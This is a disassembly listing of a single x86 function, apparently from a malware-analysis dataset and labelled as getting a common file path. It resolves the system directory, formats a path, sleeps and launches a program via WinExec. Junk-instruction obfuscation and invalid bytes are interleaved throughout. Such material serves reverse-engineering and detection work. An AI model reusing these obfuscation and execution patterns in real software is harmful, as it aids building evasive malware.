Function at 0x403520
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
pushal
sub dl, 0x33
and dh, 0x12
popal
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push edi
push ecx
lea edx, [ebp - 0x110]
push 0x407048
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push ecx
push esi
and ecx, 0x4ed
dec esi
xor ecx, 0x19e7
add si, 0x438f
xor cx, 0x2688
add ch, dh
test ch, 0x5b
pop esi
pop ecx
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.004040a0
jle 0x4035da
mov si, si
mov si, si
jg 0x4035da
fsub qword [ebp + 0x558b92c9]
clc
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
push edx
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
push edi
call fcn.004031d0
add esp, 0x20
test eax, eax
jne 0x403602
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push esi
push dx
inc dl
xor bl, dl
inc si
cmp dx, 0x676a
xor bx, 0x35f8
cmp esi, 0x222c
pop dx
pop esi
pop ebx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
lea eax, [ebp - 0x110]
push edx
push eax
call fcn.00402020
add esp, 0xc
test eax, eax
jne 0x403642
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
jbe 0x40366b
xchg ecx, ecx
xchg dl, dl
ja 0x40366b
pop eax
call fcn.00403b80
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
push 0x407080
call fcn.00401420
add esp, 4
cmp eax, 0xffffffff
je 0x403694
mov esi, 0xa
jmp 0x4036ab
push 0x407074
call fcn.00401420
add esp, 4
cmp eax, 0xffffffff
je 0x4036ec
mov esi, 0xf
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push ecx
push edi
call fcn.00404c20
add esp, 8
test eax, eax
je 0x4036da
push esi
call fcn.00402230
push esi
call fcn.004033b0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x425628]
test eax, eax
jne 0x4036ef
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 8]
jp 0x403706
push si
pop si
jnp 0x403706
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x4036f8
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx - 0x73], eax
xchg ebp, eax
invalid
lea edx, [ebp - 0x110]
push edx
push edi
call fcn.00401de0
add esp, 8
test eax, eax
jne 0x40371e
xor esi, esi
jmp 0x403721
mov esi, dword [ebp - 0xc]
push eax
push dx
inc eax
pop dx
pop eax
test esi, esi
je 0x40373e
push edi
call fcn.00403360
add esp, 4
test eax, eax
jne 0x40373e
mov dword [ebp - 0xc], eax
mov esi, eax
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
test esi, esi
jne 0x403766
push esi
push edi
call section..text
add esp, 8
mov dword [ebp - 0xc], eax
mov esi, eax
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
test esi, esi
je 0x40377d
push 0xffffffffffffffff
call fcn.004033b0
add esp, 4
push eax
push ebx
push edx
xor bx, si
and dl, 0x7f
dec bh
test bh, 0xd
pop edx
pop ebx
pop eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jbe 0x4037bb
push si
mov si, 0x5c11
pop si
ja 0x4037bb
jo 0x403769
push cs
invalid
push 0
push 0x407094
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret